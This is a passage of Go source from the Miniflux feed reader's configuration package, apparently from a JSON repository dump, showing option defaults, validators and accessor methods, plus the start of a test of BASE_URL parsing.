\"0\",\n\t\t\t\tvalueType:       boolType,\n\t\t\t},\n\t\t\t\"INTEGRATION_ALLOW_PRIVATE_NETWORKS\": {\n\t\t\t\tparsedBoolValue: false,\n\t\t\t\trawValue:        \"0\",\n\t\t\t\tvalueType:       boolType,\n\t\t\t},\n\t\t\t\"INVIDIOUS_INSTANCE\": {\n\t\t\t\tparsedStringValue: \"yewtu.be\",\n\t\t\t\trawValue:          \"yewtu.be\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t},\n\t\t\t\"KEY_FILE\": {\n\t\t\t\tparsedStringValue: \"\",\n\t\t\t\trawValue:          \"\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t},\n\t\t\t\"LISTEN_ADDR\": {\n\t\t\t\tparsedStringList: []string{\"127.0.0.1:8080\"},\n\t\t\t\trawValue:         \"127.0.0.1:8080\",\n\t\t\t\tvalueType:        stringListType,\n\t\t\t},\n\t\t\t\"LOG_DATE_TIME\": {\n\t\t\t\tparsedBoolValue: false,\n\t\t\t\trawValue:        \"0\",\n\t\t\t\tvalueType:       boolType,\n\t\t\t},\n\t\t\t\"LOG_FILE\": {\n\t\t\t\tparsedStringValue: \"stderr\",\n\t\t\t\trawValue:          \"stderr\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t},\n\t\t\t\"LOG_FORMAT\": {\n\t\t\t\tparsedStringValue: \"text\",\n\t\t\t\trawValue:          \"text\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateChoices(rawValue, []string{\"text\", \"json\"})\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"LOG_LEVEL\": {\n\t\t\t\tparsedStringValue: \"info\",\n\t\t\t\trawValue:          \"info\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateChoices(rawValue, []string{\"debug\", \"info\", \"warning\", \"error\"})\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"MAINTENANCE_MESSAGE\": {\n\t\t\t\tparsedStringValue: \"Miniflux is currently under maintenance\",\n\t\t\t\trawValue:          \"Miniflux is currently under maintenance\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t},\n\t\t\t\"MAINTENANCE_MODE\": {\n\t\t\t\tparsedBoolValue: false,\n\t\t\t\trawValue:        \"0\",\n\t\t\t\tvalueType:       boolType,\n\t\t\t},\n\t\t\t\"MEDIA_PROXY_CUSTOM_URL\": {\n\t\t\t\trawValue:  \"\",\n\t\t\t\tvalueType: urlType,\n\t\t\t},\n\t\t\t\"MEDIA_PROXY_HTTP_CLIENT_TIMEOUT\": {\n\t\t\t\tparsedDuration: 120 * time.Second,\n\t\t\t\trawValue:       \"120\",\n\t\t\t\tvalueType:      secondType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateGreaterOrEqualThan(rawValue, 1)\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"MEDIA_PROXY_MODE\": {\n\t\t\t\tparsedStringValue: \"http-only\",\n\t\t\t\trawValue:          \"http-only\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateChoices(rawValue, []string{\"none\", \"http-only\", \"all\"})\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"MEDIA_PROXY_PRIVATE_KEY\": {\n\t\t\t\tvalueType: bytesType,\n\t\t\t\tsecret:    true,\n\t\t\t},\n\t\t\t\"MEDIA_PROXY_RESOURCE_TYPES\": {\n\t\t\t\tparsedStringList: []string{\"image\"},\n\t\t\t\trawValue:         \"image\",\n\t\t\t\tvalueType:        stringListType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateListChoices(strings.Split(rawValue, \",\"), []string{\"image\", \"video\", \"audio\"})\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"METRICS_ALLOWED_NETWORKS\": {\n\t\t\t\tparsedStringList: []string{\"127.0.0.1/8\"},\n\t\t\t\trawValue:         \"127.0.0.1/8\",\n\t\t\t\tvalueType:        stringListType,\n\t\t\t},\n\t\t\t\"METRICS_COLLECTOR\": {\n\t\t\t\tparsedBoolValue: false,\n\t\t\t\trawValue:        \"0\",\n\t\t\t\tvalueType:       boolType,\n\t\t\t},\n\t\t\t\"METRICS_PASSWORD\": {\n\t\t\t\tparsedStringValue: \"\",\n\t\t\t\trawValue:          \"\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t\tsecret:            true,\n\t\t\t},\n\t\t\t\"METRICS_PASSWORD_FILE\": {\n\t\t\t\tparsedStringValue: \"\",\n\t\t\t\trawValue:          \"\",\n\t\t\t\tvalueType:         secretFileType,\n\t\t\t\ttargetKey:         \"METRICS_PASSWORD\",\n\t\t\t},\n\t\t\t\"METRICS_REFRESH_INTERVAL\": {\n\t\t\t\tparsedDuration: 60 * time.Second,\n\t\t\t\trawValue:       \"60\",\n\t\t\t\tvalueType:      secondType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateGreaterOrEqualThan(rawValue, 1)\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"METRICS_USERNAME\": {\n\t\t\t\tparsedStringValue: \"\",\n\t\t\t\trawValue:          \"\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t},\n\t\t\t\"METRICS_USERNAME_FILE\": {\n\t\t\t\tparsedStringValue: \"\",\n\t\t\t\trawValue:          \"\",\n\t\t\t\tvalueType:         secretFileType,\n\t\t\t\ttargetKey:         \"METRICS_USERNAME\",\n\t\t\t},\n\t\t\t\"OAUTH2_CLIENT_ID\": {\n\t\t\t\tparsedStringValue: \"\",\n\t\t\t\trawValue:          \"\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t\tsecret:            true,\n\t\t\t},\n\t\t\t\"OAUTH2_CLIENT_ID_FILE\": {\n\t\t\t\tparsedStringValue: \"\",\n\t\t\t\trawValue:          \"\",\n\t\t\t\tvalueType:         secretFileType,\n\t\t\t\ttargetKey:         \"OAUTH2_CLIENT_ID\",\n\t\t\t},\n\t\t\t\"OAUTH2_CLIENT_SECRET\": {\n\t\t\t\tparsedStringValue: \"\",\n\t\t\t\trawValue:          \"\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t\tsecret:            true,\n\t\t\t},\n\t\t\t\"OAUTH2_CLIENT_SECRET_FILE\": {\n\t\t\t\tparsedStringValue: \"\",\n\t\t\t\trawValue:          \"\",\n\t\t\t\tvalueType:         secretFileType,\n\t\t\t\ttargetKey:         \"OAUTH2_CLIENT_SECRET\",\n\t\t\t},\n\t\t\t\"OAUTH2_OIDC_DISCOVERY_ENDPOINT\": {\n\t\t\t\tparsedStringValue: \"\",\n\t\t\t\trawValue:          \"\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t},\n\t\t\t\"OAUTH2_OIDC_PROVIDER_NAME\": {\n\t\t\t\tparsedStringValue: \"OpenID Connect\",\n\t\t\t\trawValue:          \"OpenID Connect\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t},\n\t\t\t\"OAUTH2_PROVIDER\": {\n\t\t\t\tparsedStringValue: \"\",\n\t\t\t\trawValue:          \"\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateChoices(rawValue, []string{\"oidc\", \"google\"})\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"OAUTH2_REDIRECT_URL\": {\n\t\t\t\tparsedStringValue: \"\",\n\t\t\t\trawValue:          \"\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t},\n\t\t\t\"OAUTH2_USER_CREATION\": {\n\t\t\t\tparsedBoolValue: false,\n\t\t\t\trawValue:        \"0\",\n\t\t\t\tvalueType:       boolType,\n\t\t\t},\n\t\t\t\"POLLING_FREQUENCY\": {\n\t\t\t\tparsedDuration: 60 * time.Minute,\n\t\t\t\trawValue:       \"60\",\n\t\t\t\tvalueType:      minuteType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateGreaterOrEqualThan(rawValue, 1)\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"POLLING_LIMIT_PER_HOST\": {\n\t\t\t\tparsedIntValue: 0,\n\t\t\t\trawValue:       \"0\",\n\t\t\t\tvalueType:      intType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateGreaterOrEqualThan(rawValue, 0)\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"POLLING_PARSING_ERROR_LIMIT\": {\n\t\t\t\tparsedIntValue: 3,\n\t\t\t\trawValue:       \"3\",\n\t\t\t\tvalueType:      intType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateGreaterOrEqualThan(rawValue, 0)\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"POLLING_SCHEDULER\": {\n\t\t\t\tparsedStringValue: \"round_robin\",\n\t\t\t\trawValue:          \"round_robin\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateChoices(rawValue, []string{\"round_robin\", \"entry_frequency\"})\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"PORT\": {\n\t\t\t\tparsedStringValue: \"\",\n\t\t\t\trawValue:          \"\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateRange(rawValue, 1, 65535)\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"RUN_MIGRATIONS\": {\n\t\t\t\tparsedBoolValue: false,\n\t\t\t\trawValue:        \"0\",\n\t\t\t\tvalueType:       boolType,\n\t\t\t},\n\t\t\t\"SCHEDULER_ENTRY_FREQUENCY_FACTOR\": {\n\t\t\t\tparsedIntValue: 1,\n\t\t\t\trawValue:       \"1\",\n\t\t\t\tvalueType:      intType,\n\t\t\t},\n\t\t\t\"SCHEDULER_ENTRY_FREQUENCY_MAX_INTERVAL\": {\n\t\t\t\tparsedDuration: 24 * time.Hour,\n\t\t\t\trawValue:       \"1440\",\n\t\t\t\tvalueType:      minuteType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateGreaterOrEqualThan(rawValue, 1)\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"SCHEDULER_ENTRY_FREQUENCY_MIN_INTERVAL\": {\n\t\t\t\tparsedDuration: 5 * time.Minute,\n\t\t\t\trawValue:       \"5\",\n\t\t\t\tvalueType:      minuteType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateGreaterOrEqualThan(rawValue, 1)\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"SCHEDULER_ROUND_ROBIN_MAX_INTERVAL\": {\n\t\t\t\tparsedDuration: 1440 * time.Minute,\n\t\t\t\trawValue:       \"1440\",\n\t\t\t\tvalueType:      minuteType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateGreaterOrEqualThan(rawValue, 1)\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"SCHEDULER_ROUND_ROBIN_MIN_INTERVAL\": {\n\t\t\t\tparsedDuration: 60 * time.Minute,\n\t\t\t\trawValue:       \"60\",\n\t\t\t\tvalueType:      minuteType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateGreaterOrEqualThan(rawValue, 1)\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"TRUSTED_REVERSE_PROXY_NETWORKS\": {\n\t\t\t\tparsedStringList: []string{},\n\t\t\t\trawValue:         \"\",\n\t\t\t\tvalueType:        stringListType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\tfor ip := range strings.SplitSeq(rawValue, \",\") {\n\t\t\t\t\t\tif _, _, err := net.ParseCIDR(ip); err != nil {\n\t\t\t\t\t\t\treturn err\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\treturn nil\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"WATCHDOG\": {\n\t\t\t\tparsedBoolValue: true,\n\t\t\t\trawValue:        \"1\",\n\t\t\t\tvalueType:       boolType,\n\t\t\t},\n\t\t\t\"WEBAUTHN\": {\n\t\t\t\tparsedBoolValue: false,\n\t\t\t\trawValue:        \"0\",\n\t\t\t\tvalueType:       boolType,\n\t\t\t},\n\t\t\t\"WORKER_POOL_SIZE\": {\n\t\t\t\tparsedIntValue: 16,\n\t\t\t\trawValue:       \"16\",\n\t\t\t\tvalueType:      intType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateGreaterOrEqualThan(rawValue, 1)\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"YOUTUBE_API_KEY\": {\n\t\t\t\tparsedStringValue: \"\",\n\t\t\t\trawValue:          \"\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t\tsecret:            true,\n\t\t\t},\n\t\t\t\"YOUTUBE_EMBED_URL_OVERRIDE\": {\n\t\t\t\tparsedStringValue: \"https://www.youtube-nocookie.com/embed/\",\n\t\t\t\trawValue:          \"https://www.youtube-nocookie.com/embed/\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t},\n\t\t},\n\t}\n}\n\nfunc (c *configOptions) AdminPassword() string {\n\treturn c.options[\"ADMIN_PASSWORD\"].parsedStringValue\n}\n\nfunc (c *configOptions) AdminUsername() string {\n\treturn c.options[\"ADMIN_USERNAME\"].parsedStringValue\n}\n\nfunc (c *configOptions) AuthProxyHeader() string {\n\treturn c.options[\"AUTH_PROXY_HEADER\"].parsedStringValue\n}\n\nfunc (c *configOptions) AuthProxyUserCreation() bool {\n\treturn c.options[\"AUTH_PROXY_USER_CREATION\"].parsedBoolValue\n}\n\nfunc (c *configOptions) BasePath() string {\n\treturn c.basePath\n}\n\nfunc (c *configOptions) BaseURL() string {\n\treturn c.options[\"BASE_URL\"].parsedStringValue\n}\n\nfunc (c *configOptions) RootURL() string {\n\treturn c.rootURL\n}\n\nfunc (c *configOptions) BatchSize() int {\n\treturn c.options[\"BATCH_SIZE\"].parsedIntValue\n}\n\nfunc (c *configOptions) CertDomain() string {\n\treturn c.options[\"CERT_DOMAIN\"].parsedStringValue\n}\n\nfunc (c *configOptions) CertFile() string {\n\treturn c.options[\"CERT_FILE\"].parsedStringValue\n}\n\nfunc (c *configOptions) CleanupArchiveBatchSize() int {\n\treturn c.options[\"CLEANUP_ARCHIVE_BATCH_SIZE\"].parsedIntValue\n}\n\nfunc (c *configOptions) CleanupArchiveReadInterval() time.Duration {\n\treturn c.options[\"CLEANUP_ARCHIVE_READ_DAYS\"].parsedDuration\n}\n\nfunc (c *configOptions) CleanupArchiveUnreadInterval() time.Duration {\n\treturn c.options[\"CLEANUP_ARCHIVE_UNREAD_DAYS\"].parsedDuration\n}\n\nfunc (c *configOptions) CleanupFrequency() time.Duration {\n\treturn c.options[\"CLEANUP_FREQUENCY_HOURS\"].parsedDuration\n}\n\nfunc (c *configOptions) CleanupRemoveSessionsInterval() time.Duration {\n\treturn c.options[\"CLEANUP_REMOVE_SESSIONS_DAYS\"].parsedDuration\n}\n\nfunc (c *configOptions) CreateAdmin() bool {\n\treturn c.options[\"CREATE_ADMIN\"].parsedBoolValue\n}\n\nfunc (c *configOptions) DatabaseConnectionLifetime() time.Duration {\n\treturn c.options[\"DATABASE_CONNECTION_LIFETIME\"].parsedDuration\n}\n\nfunc (c *configOptions) DatabaseMaxConns() int {\n\treturn c.options[\"DATABASE_MAX_CONNS\"].parsedIntValue\n}\n\nfunc (c *configOptions) DatabaseMinConns() int {\n\treturn c.options[\"DATABASE_MIN_CONNS\"].parsedIntValue\n}\n\nfunc (c *configOptions) DatabaseURL() string {\n\treturn c.options[\"DATABASE_URL\"].parsedStringValue\n}\n\nfunc (c *configOptions) DisableHSTS() bool {\n\treturn c.options[\"DISABLE_HSTS\"].parsedBoolValue\n}\n\nfunc (c *configOptions) DisableHTTPService() bool {\n\treturn c.options[\"DISABLE_HTTP_SERVICE\"].parsedBoolValue\n}\n\nfunc (c *configOptions) DisableLocalAuth() bool {\n\treturn c.options[\"DISABLE_LOCAL_AUTH\"].parsedBoolValue\n}\n\nfunc (c *configOptions) DisableSchedulerService() bool {\n\treturn c.options[\"DISABLE_SCHEDULER_SERVICE\"].parsedBoolValue\n}\n\nfunc (c *configOptions) FetchBilibiliWatchTime() bool {\n\treturn c.options[\"FETCH_BILIBILI_WATCH_TIME\"].parsedBoolValue\n}\n\nfunc (c *configOptions) FetchNebulaWatchTime() bool {\n\treturn c.options[\"FETCH_NEBULA_WATCH_TIME\"].parsedBoolValue\n}\n\nfunc (c *configOptions) FetchOdyseeWatchTime() bool {\n\treturn c.options[\"FETCH_ODYSEE_WATCH_TIME\"].parsedBoolValue\n}\n\nfunc (c *configOptions) FetchYouTubeWatchTime() bool {\n\treturn c.options[\"FETCH_YOUTUBE_WATCH_TIME\"].parsedBoolValue\n}\n\nfunc (c *configOptions) ForceRefreshInterval() time.Duration {\n\treturn c.options[\"FORCE_REFRESH_INTERVAL\"].parsedDuration\n}\n\nfunc (c *configOptions) HasHTTPClientProxiesConfigured() bool {\n\treturn len(c.options[\"HTTP_CLIENT_PROXIES\"].parsedStringList) > 0\n}\n\nfunc (c *configOptions) HasAPI() bool {\n\treturn !c.options[\"DISABLE_API\"].parsedBoolValue\n}\n\nfunc (c *configOptions) HasHTTPService() bool {\n\treturn !c.options[\"DISABLE_HTTP_SERVICE\"].parsedBoolValue\n}\n\nfunc (c *configOptions) HasHSTS() bool {\n\treturn !c.options[\"DISABLE_HSTS\"].parsedBoolValue\n}\n\nfunc (c *configOptions) HasHTTPClientProxyURLConfigured() bool {\n\treturn c.options[\"HTTP_CLIENT_PROXY\"].parsedURLValue != nil\n}\n\nfunc (c *configOptions) HasMaintenanceMode() bool {\n\treturn c.options[\"MAINTENANCE_MODE\"].parsedBoolValue\n}\n\nfunc (c *configOptions) HasMetricsCollector() bool {\n\treturn c.options[\"METRICS_COLLECTOR\"].parsedBoolValue\n}\n\nfunc (c *configOptions) HasSchedulerService() bool {\n\treturn !c.options[\"DISABLE_SCHEDULER_SERVICE\"].parsedBoolValue\n}\n\nfunc (c *configOptions) HasWatchdog() bool {\n\treturn c.options[\"WATCHDOG\"].parsedBoolValue\n}\n\nfunc (c *configOptions) HTTPClientMaxBodySize() int64 {\n\treturn c.options[\"HTTP_CLIENT_MAX_BODY_SIZE\"].parsedInt64Value * 1024 * 1024\n}\n\nfunc (c *configOptions) HTTPClientProxies() []string {\n\treturn c.options[\"HTTP_CLIENT_PROXIES\"].parsedStringList\n}\n\nfunc (c *configOptions) HTTPClientProxyURL() *url.URL {\n\treturn c.options[\"HTTP_CLIENT_PROXY\"].parsedURLValue\n}\n\nfunc (c *configOptions) HTTPClientTimeout() time.Duration {\n\treturn c.options[\"HTTP_CLIENT_TIMEOUT\"].parsedDuration\n}\n\nfunc (c *configOptions) HTTPClientUserAgent() string {\n\tif c.options[\"HTTP_CLIENT_USER_AGENT\"].parsedStringValue != \"\" {\n\t\treturn c.options[\"HTTP_CLIENT_USER_AGENT\"].parsedStringValue\n\t}\n\treturn defaultHTTPClientUserAgent\n}\n\nfunc (c *configOptions) HTTPServerTimeout() time.Duration {\n\treturn c.options[\"HTTP_SERVER_TIMEOUT\"].parsedDuration\n}\n\nfunc (c *configOptions) HTTPS() bool {\n\treturn c.options[\"HTTPS\"].parsedBoolValue\n}\n\nfunc (c *configOptions) FetcherAllowPrivateNetworks() bool {\n\treturn c.options[\"FETCHER_ALLOW_PRIVATE_NETWORKS\"].parsedBoolValue\n}\n\nfunc (c *configOptions) IntegrationAllowPrivateNetworks() bool {\n\tif c == nil {\n\t\treturn false\n\t}\n\treturn c.options[\"INTEGRATION_ALLOW_PRIVATE_NETWORKS\"].parsedBoolValue\n}\n\nfunc (c *configOptions) InvidiousInstance() string {\n\treturn c.options[\"INVIDIOUS_INSTANCE\"].parsedStringValue\n}\n\nfunc (c *configOptions) IsAuthProxyUserCreationAllowed() bool {\n\treturn c.options[\"AUTH_PROXY_USER_CREATION\"].parsedBoolValue\n}\n\nfunc (c *configOptions) IsDefaultDatabaseURL() bool {\n\treturn c.options[\"DATABASE_URL\"].rawValue == \"user=postgres password=postgres dbname=miniflux2 sslmode=disable\"\n}\n\nfunc (c *configOptions) IsOAuth2UserCreationAllowed() bool {\n\treturn c.options[\"OAUTH2_USER_CREATION\"].parsedBoolValue\n}\n\nfunc (c *configOptions) CertKeyFile() string {\n\treturn c.options[\"KEY_FILE\"].parsedStringValue\n}\n\nfunc (c *configOptions) ListenAddr() []string {\n\treturn c.options[\"LISTEN_ADDR\"].parsedStringList\n}\n\nfunc (c *configOptions) LogFile() string {\n\treturn c.options[\"LOG_FILE\"].parsedStringValue\n}\n\nfunc (c *configOptions) LogDateTime() bool {\n\treturn c.options[\"LOG_DATE_TIME\"].parsedBoolValue\n}\n\nfunc (c *configOptions) LogFormat() string {\n\treturn c.options[\"LOG_FORMAT\"].parsedStringValue\n}\n\nfunc (c *configOptions) LogLevel() string {\n\treturn c.options[\"LOG_LEVEL\"].parsedStringValue\n}\n\nfunc (c *configOptions) MaintenanceMessage() string {\n\treturn c.options[\"MAINTENANCE_MESSAGE\"].parsedStringValue\n}\n\nfunc (c *configOptions) MaintenanceMode() bool {\n\treturn c.options[\"MAINTENANCE_MODE\"].parsedBoolValue\n}\n\nfunc (c *configOptions) MediaCustomProxyURL() *url.URL {\n\treturn c.options[\"MEDIA_PROXY_CUSTOM_URL\"].parsedURLValue\n}\n\nfunc (c *configOptions) MediaProxyHTTPClientTimeout() time.Duration {\n\treturn c.options[\"MEDIA_PROXY_HTTP_CLIENT_TIMEOUT\"].parsedDuration\n}\n\nfunc (c *configOptions) MediaProxyMode() string {\n\treturn c.options[\"MEDIA_PROXY_MODE\"].parsedStringValue\n}\n\nfunc (c *configOptions) MediaProxyPrivateKey() []byte {\n\treturn c.options[\"MEDIA_PROXY_PRIVATE_KEY\"].parsedBytesValue\n}\n\nfunc (c *configOptions) MediaProxyResourceTypes() []string {\n\treturn c.options[\"MEDIA_PROXY_RESOURCE_TYPES\"].parsedStringList\n}\n\nfunc (c *configOptions) MetricsAllowedNetworks() []string {\n\treturn c.options[\"METRICS_ALLOWED_NETWORKS\"].parsedStringList\n}\n\nfunc (c *configOptions) MetricsCollector() bool {\n\treturn c.options[\"METRICS_COLLECTOR\"].parsedBoolValue\n}\n\nfunc (c *configOptions) MetricsPassword() string {\n\treturn c.options[\"METRICS_PASSWORD\"].parsedStringValue\n}\n\nfunc (c *configOptions) MetricsRefreshInterval() time.Duration {\n\treturn c.options[\"METRICS_REFRESH_INTERVAL\"].parsedDuration\n}\n\nfunc (c *configOptions) MetricsUsername() string {\n\treturn c.options[\"METRICS_USERNAME\"].parsedStringValue\n}\n\nfunc (c *configOptions) OAuth2ClientID() string {\n\treturn c.options[\"OAUTH2_CLIENT_ID\"].parsedStringValue\n}\n\nfunc (c *configOptions) OAuth2ClientSecret() string {\n\treturn c.options[\"OAUTH2_CLIENT_SECRET\"].parsedStringValue\n}\n\nfunc (c *configOptions) OAuth2OIDCDiscoveryEndpoint() string {\n\treturn c.options[\"OAUTH2_OIDC_DISCOVERY_ENDPOINT\"].parsedStringValue\n}\n\nfunc (c *configOptions) OAuth2OIDCProviderName() string {\n\treturn c.options[\"OAUTH2_OIDC_PROVIDER_NAME\"].parsedStringValue\n}\n\nfunc (c *configOptions) OAuth2Provider() string {\n\treturn c.options[\"OAUTH2_PROVIDER\"].parsedStringValue\n}\n\nfunc (c *configOptions) OAuth2RedirectURL() string {\n\treturn c.options[\"OAUTH2_REDIRECT_URL\"].parsedStringValue\n}\n\nfunc (c *configOptions) OAuth2UserCreation() bool {\n\treturn c.options[\"OAUTH2_USER_CREATION\"].parsedBoolValue\n}\n\nfunc (c *configOptions) PollingFrequency() time.Duration {\n\treturn c.options[\"POLLING_FREQUENCY\"].parsedDuration\n}\n\nfunc (c *configOptions) PollingLimitPerHost() int {\n\treturn c.options[\"POLLING_LIMIT_PER_HOST\"].parsedIntValue\n}\n\nfunc (c *configOptions) PollingParsingErrorLimit() int {\n\treturn c.options[\"POLLING_PARSING_ERROR_LIMIT\"].parsedIntValue\n}\n\nfunc (c *configOptions) PollingScheduler() string {\n\treturn c.options[\"POLLING_SCHEDULER\"].parsedStringValue\n}\n\nfunc (c *configOptions) Port() string {\n\treturn c.options[\"PORT\"].parsedStringValue\n}\n\nfunc (c *configOptions) RunMigrations() bool {\n\treturn c.options[\"RUN_MIGRATIONS\"].parsedBoolValue\n}\n\nfunc (c *configOptions) SetLogLevel(level string) {\n\tc.options[\"LOG_LEVEL\"].parsedStringValue = level\n\tc.options[\"LOG_LEVEL\"].rawValue = level\n}\n\nfunc (c *configOptions) SetHTTPSValue(value bool) {\n\tc.options[\"HTTPS\"].parsedBoolValue = value\n\tif value {\n\t\tc.options[\"HTTPS\"].rawValue = \"1\"\n\t} else {\n\t\tc.options[\"HTTPS\"].rawValue = \"0\"\n\t}\n}\n\nfunc (c *configOptions) SchedulerEntryFrequencyFactor() int {\n\treturn c.options[\"SCHEDULER_ENTRY_FREQUENCY_FACTOR\"].parsedIntValue\n}\n\nfunc (c *configOptions) SchedulerEntryFrequencyMaxInterval() time.Duration {\n\treturn c.options[\"SCHEDULER_ENTRY_FREQUENCY_MAX_INTERVAL\"].parsedDuration\n}\n\nfunc (c *configOptions) SchedulerEntryFrequencyMinInterval() time.Duration {\n\treturn c.options[\"SCHEDULER_ENTRY_FREQUENCY_MIN_INTERVAL\"].parsedDuration\n}\n\nfunc (c *configOptions) SchedulerRoundRobinMaxInterval() time.Duration {\n\treturn c.options[\"SCHEDULER_ROUND_ROBIN_MAX_INTERVAL\"].parsedDuration\n}\n\nfunc (c *configOptions) SchedulerRoundRobinMinInterval() time.Duration {\n\treturn c.options[\"SCHEDULER_ROUND_ROBIN_MIN_INTERVAL\"].parsedDuration\n}\n\nfunc (c *configOptions) TrustedReverseProxyNetworks() []string {\n\treturn c.options[\"TRUSTED_REVERSE_PROXY_NETWORKS\"].parsedStringList\n}\n\nfunc (c *configOptions) Watchdog() bool {\n\treturn c.options[\"WATCHDOG\"].parsedBoolValue\n}\n\nfunc (c *configOptions) WebAuthn() bool {\n\treturn c.options[\"WEBAUTHN\"].parsedBoolValue\n}\n\nfunc (c *configOptions) WorkerPoolSize() int {\n\treturn c.options[\"WORKER_POOL_SIZE\"].parsedIntValue\n}\n\nfunc (c *configOptions) YouTubeAPIKey() string {\n\treturn c.options[\"YOUTUBE_API_KEY\"].parsedStringValue\n}\n\nfunc (c *configOptions) YouTubeEmbedUrlOverride() string {\n\treturn c.options[\"YOUTUBE_EMBED_URL_OVERRIDE\"].parsedStringValue\n}\n\nfunc (c *configOptions) YouTubeEmbedDomain() string {\n\treturn c.youTubeEmbedDomain\n}\n\nfunc (c *configOptions) ConfigMap(redactSecret bool) []*optionPair {\n\tsortedKeys := slices.Sorted(maps.Keys(c.options))\n\tsortedOptions := make([]*optionPair, 0, len(sortedKeys))\n\tfor _, key := range sortedKeys {\n\t\tvalue := c.options[key]\n\t\tdisplayValue := value.rawValue\n\t\tif displayValue != \"\" && redactSecret && value.secret {\n\t\t\tdisplayValue = \"<redacted>\"\n\t\t}\n\t\tsortedOptions = append(sortedOptions, &optionPair{Key: key, Value: displayValue})\n\t}\n\treturn sortedOptions\n}\n\nfunc (c *configOptions) String() string {\n\tvar builder strings.Builder\n\n\tfor _, option := range c.ConfigMap(false) {\n\t\tbuilder.WriteString(option.Key)\n\t\tbuilder.WriteByte('=')\n\t\tbuilder.WriteString(option.Value)\n\t\tbuilder.WriteByte('\\n')\n\t}\n\n\treturn builder.String()\n}\n"
  },
  {
    "path": "internal/config/options_parsing_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage config // import \"miniflux.app/v2/internal/config\"\n\nimport (\n\t\"slices\"\n\t\"testing\"\n)\n\nfunc TestBaseURLOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.BaseURL() != \"http://localhost\" {\n\t\tt.Fatalf(\"Expected BASE_URL to be 'http://localhost' by default\")\n\t}\n\n\tif configParser.options.RootURL() != \"http://localhost\" {\n\t\tt.Fatalf(\"Expected ROOT_URL to be 'http://localhost' by default\")\n\t}\n\n\tif configParser.options.BasePath() != \"\" {\n\t\tt.Fatalf(\"Expected BASE_PATH to be empty by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"BASE_URL=https://example.com/app\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.BaseURL() != \"https://example.com/app\" {\n\t\tt.Fatalf(\"Expected BASE_URL to be 'https://example.com/app', got '%s'\", configParser.options.BaseURL())\n\t}\n\n\tif configParser.options.RootURL() != \"https://example.com\" {\n\t\tt.Fatalf(\"Expected ROOT_URL to be 'https://example.com', got '%s'\", configParser.options.RootURL())\n\t}\n\n\tif configParser.options.BasePath() != \"/app\" {\n\t\tt.Fatalf(\"Expected BASE_PATH to be '/app', got '%s'\", configParser.options.BasePath())\n\t}\n\n\tif err := configParser.parseLines([]string{\"BASE_URL=https://example.com/app/\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.BaseURL() != \"https://example.com/app\" {\n\t\tt.Fatalf(\"Expected BASE_URL to be 'https://example.com/app', got '%s'\", configParser.options.BaseURL())\n\t}\n\n\tif configParser.options.RootURL() != \"https://example.com\" {\n\t\tt.Fatalf(\"Expected ROOT_URL to be 'https://example.com', got '%s'\", 